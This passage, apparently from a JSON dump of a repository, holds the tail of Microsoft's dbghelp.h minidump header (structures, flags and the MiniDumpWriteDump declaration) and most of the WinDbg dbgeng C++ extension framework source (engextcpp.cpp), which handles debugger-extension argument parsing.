ProcessCreateTime;\n ULONG32 ProcessUserTime;\n ULONG32 ProcessKernelTime;\n ULONG32 ProcessorMaxMhz;\n ULONG32 ProcessorCurrentMhz;\n ULONG32 ProcessorMhzLimit;\n ULONG32 ProcessorMaxIdleState;\n ULONG32 ProcessorCurrentIdleState;\n} MINIDUMP_MISC_INFO_2, *PMINIDUMP_MISC_INFO_2;\n\ntypedef struct _MINIDUMP_MISC_INFO_3 {\n ULONG32 SizeOfInfo;\n ULONG32 Flags1;\n ULONG32 ProcessId;\n ULONG32 ProcessCreateTime;\n ULONG32 ProcessUserTime;\n ULONG32 ProcessKernelTime;\n ULONG32 ProcessorMaxMhz;\n ULONG32 ProcessorCurrentMhz;\n ULONG32 ProcessorMhzLimit;\n ULONG32 ProcessorMaxIdleState;\n ULONG32 ProcessorCurrentIdleState;\n ULONG32 ProcessIntegrityLevel;\n ULONG32 ProcessExecuteFlags;\n ULONG32 ProtectedProcess;\n ULONG32 TimeZoneId;\n TIME_ZONE_INFORMATION TimeZone;\n} MINIDUMP_MISC_INFO_3, *PMINIDUMP_MISC_INFO_3;\n\n// The latest MINIDUMP_MISC_INFO definition.\ntypedef MINIDUMP_MISC_INFO_3 MINIDUMP_MISC_INFO_N;\ntypedef MINIDUMP_MISC_INFO_N* PMINIDUMP_MISC_INFO_N;\n\n\n//\n// The memory information stream contains memory region\n// description information. This stream corresponds to\n// what VirtualQuery would return for the process the\n// dump was created for.\n//\n\ntypedef struct _MINIDUMP_MEMORY_INFO {\n ULONG64 BaseAddress;\n ULONG64 AllocationBase;\n ULONG32 AllocationProtect;\n ULONG32 __alignment1;\n ULONG64 RegionSize;\n ULONG32 State;\n ULONG32 Protect;\n ULONG32 Type;\n ULONG32 __alignment2;\n} MINIDUMP_MEMORY_INFO, *PMINIDUMP_MEMORY_INFO;\n\ntypedef struct _MINIDUMP_MEMORY_INFO_LIST {\n ULONG SizeOfHeader;\n ULONG SizeOfEntry;\n ULONG64 NumberOfEntries;\n} MINIDUMP_MEMORY_INFO_LIST, *PMINIDUMP_MEMORY_INFO_LIST;\n\n \n//\n// The memory information stream contains memory region\n// description information. This stream corresponds to\n// what VirtualQuery would return for the process the\n// dump was created for.\n//\n\n// Thread dump writer status flags.\n#define MINIDUMP_THREAD_INFO_ERROR_THREAD 0x00000001\n#define MINIDUMP_THREAD_INFO_WRITING_THREAD 0x00000002\n#define MINIDUMP_THREAD_INFO_EXITED_THREAD 0x00000004\n#define MINIDUMP_THREAD_INFO_INVALID_INFO 0x00000008\n#define MINIDUMP_THREAD_INFO_INVALID_CONTEXT 0x00000010\n#define MINIDUMP_THREAD_INFO_INVALID_TEB 0x00000020\n\ntypedef struct _MINIDUMP_THREAD_INFO {\n ULONG32 ThreadId;\n ULONG32 DumpFlags;\n ULONG32 DumpError;\n ULONG32 ExitStatus;\n ULONG64 CreateTime;\n ULONG64 ExitTime;\n ULONG64 KernelTime;\n ULONG64 UserTime;\n ULONG64 StartAddress;\n ULONG64 Affinity;\n} MINIDUMP_THREAD_INFO, *PMINIDUMP_THREAD_INFO;\n\ntypedef struct _MINIDUMP_THREAD_INFO_LIST {\n ULONG SizeOfHeader;\n ULONG SizeOfEntry;\n ULONG NumberOfEntries;\n} MINIDUMP_THREAD_INFO_LIST, *PMINIDUMP_THREAD_INFO_LIST;\n\n//\n// Support for token information.\n//\ntypedef struct _MINIDUMP_TOKEN_INFO_HEADER {\n ULONG TokenSize; // The size of the token structure.\n ULONG TokenId; // The PID in NtOpenProcessToken() call or TID in NtOpenThreadToken() call.\n ULONG64 TokenHandle; // The handle value returned.\n} MINIDUMP_TOKEN_INFO_HEADER, *PMINIDUMP_TOKEN_INFO_HEADER;\n\ntypedef struct _MINIDUMP_TOKEN_INFO_LIST {\n ULONG TokenListSize;\n ULONG TokenListEntries;\n ULONG ListHeaderSize;\n ULONG ElementHeaderSize;\n} MINIDUMP_TOKEN_INFO_LIST, *PMINIDUMP_TOKEN_INFO_LIST;\n\n//\n// Support for arbitrary user-defined information.\n//\n\ntypedef struct _MINIDUMP_USER_RECORD {\n ULONG32 Type;\n MINIDUMP_LOCATION_DESCRIPTOR Memory;\n} MINIDUMP_USER_RECORD, *PMINIDUMP_USER_RECORD;\n\n\ntypedef struct _MINIDUMP_USER_STREAM {\n ULONG32 Type;\n ULONG BufferSize;\n PVOID Buffer;\n\n} MINIDUMP_USER_STREAM, *PMINIDUMP_USER_STREAM;\n\n\ntypedef struct _MINIDUMP_USER_STREAM_INFORMATION {\n ULONG UserStreamCount;\n PMINIDUMP_USER_STREAM UserStreamArray;\n} MINIDUMP_USER_STREAM_INFORMATION, *PMINIDUMP_USER_STREAM_INFORMATION;\n\n//\n// Callback support.\n//\n\ntypedef enum _MINIDUMP_CALLBACK_TYPE {\n ModuleCallback,\n ThreadCallback,\n ThreadExCallback,\n IncludeThreadCallback,\n IncludeModuleCallback,\n MemoryCallback,\n CancelCallback,\n WriteKernelMinidumpCallback,\n KernelMinidumpStatusCallback,\n RemoveMemoryCallback,\n IncludeVmRegionCallback,\n IoStartCallback,\n IoWriteAllCallback,\n IoFinishCallback,\n ReadMemoryFailureCallback,\n SecondaryFlagsCallback,\n} MINIDUMP_CALLBACK_TYPE;\n\n\ntypedef struct _MINIDUMP_THREAD_CALLBACK {\n ULONG ThreadId;\n HANDLE ThreadHandle;\n CONTEXT Context;\n ULONG SizeOfContext;\n ULONG64 StackBase;\n ULONG64 StackEnd;\n} MINIDUMP_THREAD_CALLBACK, *PMINIDUMP_THREAD_CALLBACK;\n\n\ntypedef struct _MINIDUMP_THREAD_EX_CALLBACK {\n ULONG ThreadId;\n HANDLE ThreadHandle;\n CONTEXT Context;\n ULONG SizeOfContext;\n ULONG64 StackBase;\n ULONG64 StackEnd;\n ULONG64 BackingStoreBase;\n ULONG64 BackingStoreEnd;\n} MINIDUMP_THREAD_EX_CALLBACK, *PMINIDUMP_THREAD_EX_CALLBACK;\n\n\ntypedef struct _MINIDUMP_INCLUDE_THREAD_CALLBACK {\n ULONG ThreadId;\n} MINIDUMP_INCLUDE_THREAD_CALLBACK, *PMINIDUMP_INCLUDE_THREAD_CALLBACK;\n\n\ntypedef enum _THREAD_WRITE_FLAGS {\n ThreadWriteThread = 0x0001,\n ThreadWriteStack = 0x0002,\n ThreadWriteContext = 0x0004,\n ThreadWriteBackingStore = 0x0008,\n ThreadWriteInstructionWindow = 0x0010,\n ThreadWriteThreadData = 0x0020,\n ThreadWriteThreadInfo = 0x0040,\n} THREAD_WRITE_FLAGS;\n\ntypedef struct _MINIDUMP_MODULE_CALLBACK {\n PWCHAR FullPath;\n ULONG64 BaseOfImage;\n ULONG SizeOfImage;\n ULONG CheckSum;\n ULONG TimeDateStamp;\n VS_FIXEDFILEINFO VersionInfo;\n PVOID CvRecord; \n ULONG SizeOfCvRecord;\n PVOID MiscRecord;\n ULONG SizeOfMiscRecord;\n} MINIDUMP_MODULE_CALLBACK, *PMINIDUMP_MODULE_CALLBACK;\n\n\ntypedef struct _MINIDUMP_INCLUDE_MODULE_CALLBACK {\n ULONG64 BaseOfImage;\n} MINIDUMP_INCLUDE_MODULE_CALLBACK, *PMINIDUMP_INCLUDE_MODULE_CALLBACK;\n\n\ntypedef enum _MODULE_WRITE_FLAGS {\n ModuleWriteModule = 0x0001,\n ModuleWriteDataSeg = 0x0002,\n ModuleWriteMiscRecord = 0x0004,\n ModuleWriteCvRecord = 0x0008,\n ModuleReferencedByMemory = 0x0010,\n ModuleWriteTlsData = 0x0020,\n ModuleWriteCodeSegs = 0x0040,\n} MODULE_WRITE_FLAGS;\n\n\ntypedef struct _MINIDUMP_IO_CALLBACK {\n HANDLE Handle;\n ULONG64 Offset;\n PVOID Buffer;\n ULONG BufferBytes;\n} MINIDUMP_IO_CALLBACK, *PMINIDUMP_IO_CALLBACK;\n\n\ntypedef struct _MINIDUMP_READ_MEMORY_FAILURE_CALLBACK\n{\n ULONG64 Offset;\n ULONG Bytes;\n HRESULT FailureStatus;\n} MINIDUMP_READ_MEMORY_FAILURE_CALLBACK,\n *PMINIDUMP_READ_MEMORY_FAILURE_CALLBACK;\n\n\ntypedef struct _MINIDUMP_CALLBACK_INPUT {\n ULONG ProcessId;\n HANDLE ProcessHandle;\n ULONG CallbackType;\n union {\n HRESULT Status;\n MINIDUMP_THREAD_CALLBACK Thread;\n MINIDUMP_THREAD_EX_CALLBACK ThreadEx;\n MINIDUMP_MODULE_CALLBACK Module;\n MINIDUMP_INCLUDE_THREAD_CALLBACK IncludeThread;\n MINIDUMP_INCLUDE_MODULE_CALLBACK IncludeModule;\n MINIDUMP_IO_CALLBACK Io;\n MINIDUMP_READ_MEMORY_FAILURE_CALLBACK ReadMemoryFailure;\n ULONG SecondaryFlags;\n };\n} MINIDUMP_CALLBACK_INPUT, *PMINIDUMP_CALLBACK_INPUT;\n\ntypedef struct _MINIDUMP_CALLBACK_OUTPUT {\n union {\n ULONG ModuleWriteFlags;\n ULONG ThreadWriteFlags;\n ULONG SecondaryFlags;\n struct {\n ULONG64 MemoryBase;\n ULONG MemorySize;\n };\n struct {\n BOOL CheckCancel;\n BOOL Cancel;\n };\n HANDLE Handle;\n struct {\n MINIDUMP_MEMORY_INFO VmRegion;\n BOOL Continue;\n };\n HRESULT Status;\n };\n} MINIDUMP_CALLBACK_OUTPUT, *PMINIDUMP_CALLBACK_OUTPUT;\n\n \n//\n// A normal minidump contains just the information\n// necessary to capture stack traces for all of the\n// existing threads in a process.\n//\n// A minidump with data segments includes all of the data\n// sections from loaded modules in order to capture\n// global variable contents. This can make the dump much\n// larger if many modules have global data.\n//\n// A minidump with full memory includes all of the accessible\n// memory in the process and can be very large. A minidump\n// with full memory always has the raw memory data at the end\n// of the dump so that the initial structures in the dump can\n// be mapped directly without having to include the raw\n// memory information.\n//\n// Stack and backing store memory can be filtered to remove\n// data unnecessary for stack walking. This can improve\n// compression of stacks and also deletes data that may\n// be private and should not be stored in a dump.\n// Memory can also be scanned to see what modules are\n// referenced by stack and backing store memory to allow\n// omission of other modules to reduce dump size.\n// In either of these modes the ModuleReferencedByMemory flag\n// is set for all modules referenced before the base\n// module callbacks occur.\n//\n// On some operating systems a list of modules that were\n// recently unloaded is kept in addition to the currently\n// loaded module list. This information can be saved in\n// the dump if desired.\n//\n// Stack and backing store memory can be scanned for referenced\n// pages in order to pick up data referenced by locals or other\n// stack memory. This can increase the size of a dump significantly.\n//\n// Module paths may contain undesired information such as user names\n// or other important directory names so they can be stripped. This\n// option reduces the ability to locate the proper image later\n// and should only be used in certain situations.\n//\n// Complete operating system per-process and per-thread information can\n// be gathered and stored in the dump.\n//\n// The virtual address space can be scanned for various types\n// of memory to be included in the dump.\n//\n// Code which is concerned with potentially private information\n// getting into the minidump can set a flag that automatically\n// modifies all existing and future flags to avoid placing\n// unnecessary data in the dump. Basic data, such as stack\n// information, will still be included but optional data, such\n// as indirect memory, will not.\n//\n// When doing a full memory dump it's possible to store all\n// of the enumerated memory region descriptive information\n// in a memory information stream.\n//\n// Additional thread information beyond the basic thread\n// structure can be collected if desired.\n//\n// A minidump with code segments includes all of the code\n// and code-related sections from loaded modules in order\n// to capture executable content.\n//\n// MiniDumpWithoutAuxiliaryState turns off any secondary,\n// auxiliary-supported memory gathering.\n//\n// MiniDumpWithFullAuxiliaryState asks any present auxiliary\n// data providers to include all of their state in the dump.\n// The exact set of what is provided depends on the auxiliary.\n// This can be quite large.\n//\n\ntypedef enum _MINIDUMP_TYPE {\n MiniDumpNormal = 0x00000000,\n MiniDumpWithDataSegs = 0x00000001,\n MiniDumpWithFullMemory = 0x00000002,\n MiniDumpWithHandleData = 0x00000004,\n MiniDumpFilterMemory = 0x00000008,\n MiniDumpScanMemory = 0x00000010,\n MiniDumpWithUnloadedModules = 0x00000020,\n MiniDumpWithIndirectlyReferencedMemory = 0x00000040,\n MiniDumpFilterModulePaths = 0x00000080,\n MiniDumpWithProcessThreadData = 0x00000100,\n MiniDumpWithPrivateReadWriteMemory = 0x00000200,\n MiniDumpWithoutOptionalData = 0x00000400,\n MiniDumpWithFullMemoryInfo = 0x00000800,\n MiniDumpWithThreadInfo = 0x00001000,\n MiniDumpWithCodeSegs = 0x00002000,\n MiniDumpWithoutAuxiliaryState = 0x00004000,\n MiniDumpWithFullAuxiliaryState = 0x00008000,\n MiniDumpWithPrivateWriteCopyMemory = 0x00010000,\n MiniDumpIgnoreInaccessibleMemory = 0x00020000,\n MiniDumpWithTokenInformation = 0x00040000,\n MiniDumpValidTypeFlags = 0x0007ffff,\n} MINIDUMP_TYPE;\n\n//\n// In addition to the primary flags provided to\n// MiniDumpWriteDump there are additional, less\n// frequently used options queried via the secondary\n// flags callback.\n//\n// MiniSecondaryWithoutPowerInfo suppresses the minidump\n// query that retrieves processor power information for\n// MINIDUMP_MISC_INFO.\n//\n \ntypedef enum _MINIDUMP_SECONDARY_FLAGS {\n MiniSecondaryWithoutPowerInfo = 0x00000001,\n\n MiniSecondaryValidFlags = 0x00000001,\n} MINIDUMP_SECONDARY_FLAGS;\n\n\n//\n// The minidump callback should modify the FieldsToWrite parameter to reflect\n// what portions of the specified thread or module should be written to the\n// file.\n//\n\ntypedef\nBOOL\n(WINAPI * MINIDUMP_CALLBACK_ROUTINE) (\n __inout PVOID CallbackParam,\n __in PMINIDUMP_CALLBACK_INPUT CallbackInput,\n __inout PMINIDUMP_CALLBACK_OUTPUT CallbackOutput\n );\n\ntypedef struct _MINIDUMP_CALLBACK_INFORMATION {\n MINIDUMP_CALLBACK_ROUTINE CallbackRoutine;\n PVOID CallbackParam;\n} MINIDUMP_CALLBACK_INFORMATION, *PMINIDUMP_CALLBACK_INFORMATION;\n\n\n\n//++\n//\n// PVOID\n// RVA_TO_ADDR(\n// PVOID Mapping,\n// ULONG Rva\n// )\n//\n// Routine Description:\n//\n// Map an RVA that is contained within a mapped file to it's associated\n// flat address.\n//\n// Arguments:\n//\n// Mapping - Base address of mapped file containing the RVA.\n//\n// Rva - An Rva to fixup.\n//\n// Return Values:\n//\n// A pointer to the desired data.\n//\n//--\n\n#define RVA_TO_ADDR(Mapping,Rva) ((PVOID)(((ULONG_PTR) (Mapping)) + (Rva)))\n\nBOOL\nWINAPI\nMiniDumpWriteDump(\n __in HANDLE hProcess,\n __in DWORD ProcessId,\n __in HANDLE hFile,\n __in MINIDUMP_TYPE DumpType,\n __in_opt PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,\n __in_opt PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,\n __in_opt PMINIDUMP_CALLBACK_INFORMATION CallbackParam\n );\n\nBOOL\nWINAPI\nMiniDumpReadDumpStream(\n __in PVOID BaseOfDump,\n __in ULONG StreamNumber,\n __deref_out_opt PMINIDUMP_DIRECTORY * Dir,\n __deref_out_opt PVOID * StreamPointer,\n __out_opt ULONG * StreamSize\n );\n\n#if defined(_MSC_VER)\n#if _MSC_VER >= 800\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#else\n#pragma warning(default:4200) /* Zero length array */\n#pragma warning(default:4201) /* Nameless struct/union */\n#endif\n#endif\n#endif\n\n#include \n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif // _DBGHELP_\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.cpp", "content": "//----------------------------------------------------------------------------\n//\n// C++ dbgeng extension framework.\n//\n// Copyright (C) Microsoft Corporation, 2005-2006.\n//\n//----------------------------------------------------------------------------\n\n#include \n#include \n#include \n\n#if defined(_PREFAST_) || defined(_PREFIX_)\n#define PRE_ASSUME(_Cond) __analysis_assume(_Cond)\n#else\n#define PRE_ASSUME(_Cond)\n#endif\n\n#define IsSpace(_Char) isspace((UCHAR)(_Char))\n\nWINDBG_EXTENSION_APIS64 ExtensionApis;\nExtCheckedPointer\n g_Ext(\"g_Ext not set, used outside of a command\");\n\n//----------------------------------------------------------------------------\n//\n// ExtException family.\n//\n//----------------------------------------------------------------------------\n\nvoid\nExtException::PrintMessageVa(__in_ecount(BufferChars) PSTR Buffer,\n __in ULONG BufferChars,\n __in PCSTR Format,\n __in va_list Args)\n{\n StringCchVPrintfA(Buffer, BufferChars, Format, Args);\n m_Message = Buffer;\n}\n\nvoid WINAPIV\nExtException::PrintMessage(__in_ecount(BufferChars) PSTR Buffer,\n __in ULONG BufferChars,\n __in PCSTR Format,\n ...)\n{\n va_list Args;\n\n va_start(Args, Format);\n PrintMessageVa(Buffer, BufferChars, Format, Args);\n va_end(Args);\n}\n\n//----------------------------------------------------------------------------\n//\n// Holders.\n//\n//----------------------------------------------------------------------------\n\nvoid\nExtCurrentThreadHolder::Refresh(void)\n{\n HRESULT Status;\n \n if ((Status = g_Ext->m_System->\n GetCurrentThreadId(&m_ThreadId)) != S_OK)\n {\n throw ExtStatusException(Status,\n \"ExtCurrentThreadHolder::Refresh failed\");\n }\n}\n\nvoid\nExtCurrentThreadHolder::Restore(void)\n{\n if (m_ThreadId != DEBUG_ANY_ID)\n {\n PRE_ASSUME(g_Ext.IsSet());\n if (g_Ext.IsSet())\n {\n // Ensure that g_Ext-> operator will not throw exception.\n g_Ext->m_System->SetCurrentThreadId(m_ThreadId);\n }\n m_ThreadId = DEBUG_ANY_ID;\n }\n}\n\nvoid\nExtCurrentProcessHolder::Refresh(void)\n{\n HRESULT Status;\n \n if ((Status = g_Ext->m_System->\n GetCurrentProcessId(&m_ProcessId)) != S_OK)\n {\n throw ExtStatusException(Status,\n \"ExtCurrentProcessHolder::Refresh failed\");\n }\n}\n\nvoid\nExtCurrentProcessHolder::Restore(void)\n{\n if (m_ProcessId != DEBUG_ANY_ID)\n {\n PRE_ASSUME(g_Ext.IsSet());\n if (g_Ext.IsSet())\n {\n // Ensure that g_Ext-> operator will not throw exception.\n g_Ext->m_System->SetCurrentProcessId(m_ProcessId);\n }\n m_ProcessId = DEBUG_ANY_ID;\n }\n}\n\n//----------------------------------------------------------------------------\n//\n// ExtCommandDesc.\n//\n//----------------------------------------------------------------------------\n\nExtCommandDesc* ExtCommandDesc::s_Commands;\nULONG ExtCommandDesc::s_LongestCommandName;\n\nExtCommandDesc::ExtCommandDesc(__in PCSTR Name,\n __in ExtCommandMethod Method,\n __in PCSTR Desc,\n __in_opt PCSTR Args)\n{\n m_Name = Name;\n m_Method = Method;\n m_Desc = Desc;\n m_ArgDescStr = Args;\n\n ClearArgs();\n\n //\n // Add into command list sorted by name.\n //\n\n ExtCommandDesc* Cur, *Prev;\n\n Prev = NULL;\n for (Cur = s_Commands; Cur; Cur = Cur->m_Next)\n {\n if (strcmp(Name, Cur->m_Name) < 0)\n {\n break;\n }\n\n Prev = Cur;\n }\n\n if (Prev)\n {\n Prev->m_Next = this;\n }\n else\n {\n s_Commands = this;\n }\n m_Next = Cur;\n\n if (strlen(Name) > s_LongestCommandName)\n {\n s_LongestCommandName = strlen(Name);\n }\n}\n\nExtCommandDesc::~ExtCommandDesc(void)\n{\n DeleteArgs();\n}\n\nvoid\nExtCommandDesc::ClearArgs(void)\n{\n m_ArgsInitialized = false;\n m_CustomArgParsing = false;\n m_CustomArgDescLong = NULL;\n m_CustomArgDescShort = NULL;\n m_OptionChars = \"/-\";\n m_ArgStrings = NULL;\n m_NumArgs = 0;\n m_NumUnnamedArgs = 0;\n m_Args = NULL;\n}\n\nvoid\nExtCommandDesc::DeleteArgs(void)\n{\n free(m_ArgStrings);\n delete [] m_Args;\n ClearArgs();\n}\n\nPSTR\nExtCommandDesc::ParseDirective(__in PSTR Scan)\n{\n //\n // Scan to collect the directive name.\n //\n\n PSTR Name = Scan;\n while (*Scan != ':' && *Scan != '}')\n {\n if (!*Scan)\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: Improper directive \"\n \"name termination\");\n }\n\n Scan++;\n }\n\n //\n // Scan to collect the directive value.\n //\n\n PSTR Value = \"\";\n \n if (*Scan == ':')\n {\n *Scan++ = 0;\n Value = Scan;\n\n while (*Scan != '}' ||\n *(Scan + 1) != '}')\n {\n if (!*Scan)\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: Improper directive \"\n \"value termination\");\n }\n\n Scan++;\n }\n }\n else if (*(Scan + 1) != '}')\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: Improper directive }} closure\");\n }\n \n // Terminate name or value.\n *Scan = 0;\n Scan += 2;\n\n //\n // Process directive.\n //\n\n bool NoValue = false;\n bool NeedValue = false;\n\n if (!strcmp(Name, \"custom\"))\n {\n m_CustomArgParsing = true;\n NoValue = true;\n }\n else if (!strcmp(Name, \"l\"))\n {\n m_CustomArgDescLong = Value;\n NeedValue = true;\n }\n else if (!strcmp(Name, \"opt\"))\n {\n m_OptionChars = Value;\n }\n else if (!strcmp(Name, \"s\"))\n {\n m_CustomArgDescShort = Value;\n NeedValue = true;\n }\n else\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: Unknown directive '%s'\", Name);\n }\n\n if (!Value[0] && NeedValue)\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: {{%s}} requires an argument\", Name);\n }\n if (Value[0] && NoValue)\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: {{%s}} does not have an argument\",\n Name);\n }\n \n return Scan;\n}\n\nvoid\nExtCommandDesc::ParseArgDesc(void)\n{\n //\n // Parse the argument description.\n //\n\n if (!m_ArgDescStr ||\n !m_ArgDescStr[0])\n {\n // No arguments.\n return;\n }\n \n // First copy the string so we can chop it up.\n m_ArgStrings = _strdup(m_ArgDescStr);\n if (! m_ArgStrings)\n {\n m_Ext->ThrowOutOfMemory();\n }\n\n // \n // Each argument description is\n // {;;;}\n //\n\n ArgDesc Args[ExtExtension::s_MaxArgs];\n ArgDesc* Arg = Args - 1;\n ULONG NumUnOptArgs = 0;\n bool RemainderUsed = false;\n \n PSTR Scan = m_ArgStrings;\n \n while (*Scan)\n {\n if (*Scan != '{')\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: Missing { at '%s'\", Scan);\n }\n Scan++;\n\n if (*Scan == '{')\n {\n // This is a {{directive}} and not an argument.\n Scan = ParseDirective(++Scan);\n continue;\n }\n \n if (m_NumArgs >= EXT_DIMA(Args))\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: Argument count \"\n \"overflow at '%s'\", Scan);\n }\n m_NumArgs++;\n Arg++;\n \n //\n // Check for an argument name.\n // Arguments can be unnamed.\n //\n \n if (*Scan == '}' ||\n *Scan == ';')\n {\n Arg->Name = NULL;\n m_NumUnnamedArgs++;\n if (*Scan == ';')\n {\n Scan++;\n }\n }\n else\n {\n Arg->Name = Scan;\n while (*Scan != '}' &&\n *Scan != ';')\n {\n if (!*Scan)\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: Improper argument \"\n \"name termination for '%s'\",\n Arg->Name);\n }\n \n Scan++;\n }\n if (*Scan != '}')\n {\n *Scan++ = 0;\n }\n\n if (Arg->Name[0] == '?' &&\n !Arg->Name[1])\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: /? is automatically \"\n \"provided by the framework\");\n }\n }\n\n //\n // Check for a type.\n // Type defaults to string.\n //\n\n PCSTR TypeName = \"ERROR\";\n \n Arg->Boolean = false;\n Arg->Expression = false;\n Arg->String = false;\n Arg->StringRemainder = false;\n \n switch(*Scan)\n {\n case 'x':\n Arg->StringRemainder = true;\n __fallthrough;\n case 's':\n Scan++;\n __fallthrough;\n case '}':\n case ';':\n case ',':\n TypeName = \"string\";\n Arg->String = true;\n break;\n case 'b':\n Scan++;\n Arg->Boolean = true;\n break;\n case 'e':\n Scan++;\n TypeName = \"expr\";\n Arg->Expression = true;\n Arg->ExpressionBits = 64;\n Arg->ExpressionSigned = false;\n Arg->ExpressionDelimited = false;\n for (;;)\n {\n if (*Scan == 'd')\n {\n Arg->ExpressionDelimited = true;\n }\n else if (*Scan == 's')\n {\n Arg->ExpressionSigned = true;\n }\n else\n {\n break;\n }\n\n Scan++;\n }\n if (*Scan >= '0' && *Scan <= '9')\n {\n Arg->ExpressionBits = strtoul(Scan, &Scan, 10);\n if (Arg->ExpressionBits < 1 ||\n Arg->ExpressionBits > 64)\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: \"\n \"Invalid expression bit count %u\",\n Arg->ExpressionBits);\n }\n }\n break;\n default:\n m_Ext->ThrowInvalidArg(\"ArgDesc: Unknown argument type at '%s'\",\n Scan);\n break;\n }\n\n //\n // Check for flags.\n //\n\n PSTR NeedTerm = NULL;\n \n Arg->Default = NULL;\n Arg->DefaultSilent = false;\n \n // Unnamed arguments default to\n // required as a required argument\n // tail is a very common pattern.\n Arg->Required = Arg->Name == NULL;\n\n while (*Scan == ',')\n {\n if (NeedTerm)\n {\n *NeedTerm = 0;\n NeedTerm = NULL;\n }\n \n Scan++;\n switch(*Scan)\n {\n case 'd':\n Scan++;\n switch(*Scan)\n {\n case '=':\n if (Arg->Boolean)\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: boolean arguments \"\n \"cannot have defaults\");\n }\n\n Arg->Default = ++Scan;\n while (*Scan &&\n *Scan != ',' &&\n *Scan != ';' &&\n *Scan != '}')\n {\n Scan++;\n }\n if (*Scan != '}')\n {\n NeedTerm = Scan;\n }\n break;\n case 's':\n Scan++;\n Arg->DefaultSilent = true;\n break;\n default:\n m_Ext->ThrowInvalidArg(\"ArgDesc: \"\n \"Unknown 'd' argument flag at '%s'\",\n Scan);\n }\n break;\n case 'o':\n Scan++;\n Arg->Required = false;\n break;\n case 'r':\n Scan++;\n Arg->Required = true;\n break;\n default:\n m_Ext->ThrowInvalidArg(\"ArgDesc: \"\n \"Unknown argument flag at '%s'\",\n Scan);\n }\n }\n if (*Scan == ';')\n {\n Scan++;\n }\n else if (*Scan != '}')\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: Improper argument \"\n \"type/flags termination at '%s'\",\n Scan);\n }\n\n if (NeedTerm)\n {\n *NeedTerm = 0;\n NeedTerm = NULL;\n }\n \n if (!Arg->Name)\n {\n if (Arg->Boolean)\n {\n // Not possible to have an unnamed flag\n // since the presence/absence of the flag\n // is what a boolean is for.\n m_Ext->ThrowInvalidArg(\"ArgDesc: Boolean arguments \"\n \"must be named\");\n }\n\n // Given the lack of placement identification (a name),\n // unnamed arguments are filled in the\n // order they appear in the argument string.\n // That means that a required argument cannot\n // follow an optional argument since there's\n // no way of knowing that the optional argument\n // should be skipped.\n if (!Arg->Required)\n {\n NumUnOptArgs++;\n }\n else\n {\n if (NumUnOptArgs > 0)\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: \"\n \"Required unnamed arguments \"\n \"cannot follow optional \"\n \"unnamed arguments\");\n }\n }\n \n if (RemainderUsed)\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: \"\n \"Unnamed arguments \"\n \"cannot follow remainder usage\");\n }\n\n if (Arg->StringRemainder)\n {\n RemainderUsed = true;\n }\n }\n \n //\n // Check for a short descriptive argument name.\n //\n\n if (*Scan == '}' ||\n *Scan == ';')\n {\n // Use a default name so there's always\n // some short description.\n Arg->DescShort = TypeName;\n if (*Scan == ';')\n {\n Scan++;\n }\n }\n else\n {\n Arg->DescShort = Scan;\n while (*Scan != '}' &&\n *Scan != ';')\n {\n if (!*Scan)\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: \"\n \"Improper short description \"\n \"termination for '%s'\",\n Arg->Name ?\n Arg->Name : \"\");\n }\n \n Scan++;\n }\n if (*Scan != '}')\n {\n *Scan++ = 0;\n }\n }\n\n //\n // Check for a long argument description.\n //\n \n if (*Scan == '}')\n {\n Arg->DescLong = NULL;\n }\n else\n {\n Arg->DescLong = Scan;\n while (*Scan != '}')\n {\n if (!*Scan)\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: \"\n \"Improper long description \"\n \"termination for '%s'\",\n Arg->Name ?\n Arg->Name : \"\");\n }\n \n Scan++;\n }\n }\n\n //\n // Finished.\n // Terminate whatever was the last string\n // in the description.\n //\n \n if (*Scan != '}')\n {\n m_Ext->ThrowInvalidArg(\"ArgDesc: Expecting } at '%s'\", Scan);\n }\n\n *Scan++ = 0;\n }\n\n // Copy temporary array to permanent storage.\n if (m_NumArgs)\n {\n m_Args = new ArgDesc[m_NumArgs];\n if (! m_Args)\n {\n m_Ext->ThrowOutOfMemory();\n }\n memcpy(m_Args, Args, m_NumArgs * sizeof(m_Args[0]));\n }\n \n m_ArgsInitialized = true;\n}\n\nvoid\nExtCommandDesc::ExInitialize(__in ExtExtension* Ext)\n{\n m_Ext = Ext;\n \n if (!m_ArgsInitialized)\n {\n try\n {\n ParseArgDesc();\n }\n catch(...)\n {\n DeleteArgs();\n throw;\n }\n }\n}\n\nExtCommandDesc::ArgDesc*\nExtCommandDesc::FindArg(__in PCSTR Name)\n{\n ArgDesc* Check = m_Args;\n for (ULONG i = 0; i < m_NumArgs; i++, Check++)\n {\n if (Check->Name &&\n !strcmp(Name, Check->Name))\n {\n return Check;\n }\n }\n return NULL;\n}\n \nExtCommandDesc::ArgDesc*\nExtCommandDesc::FindUnnamedArg(__in ULONG Index)\n{\n ArgDesc* Check = m_Args;\n for (ULONG i = 0; i < m_NumArgs; i++, Check++)\n {\n if (!Check->Name &&\n Index-- == 0)\n {\n return Check;\n }\n }\n return NULL;\n}\n\nvoid\nExtCommandDesc::Transfer(__out ExtCommandDesc** Commands,\n __out PULONG LongestName)\n{\n *Commands = s_Commands;\n s_Commands = NULL;\n *LongestName = ExtCommandDesc::s_LongestCommandName;\n s_LongestCommandName = 0;\n}\n\n//----------------------------------------------------------------------------\n//\n// ExtExtension.\n//\n//----------------------------------------------------------------------------\n\nHMODULE ExtExtension::s_Module;\nchar 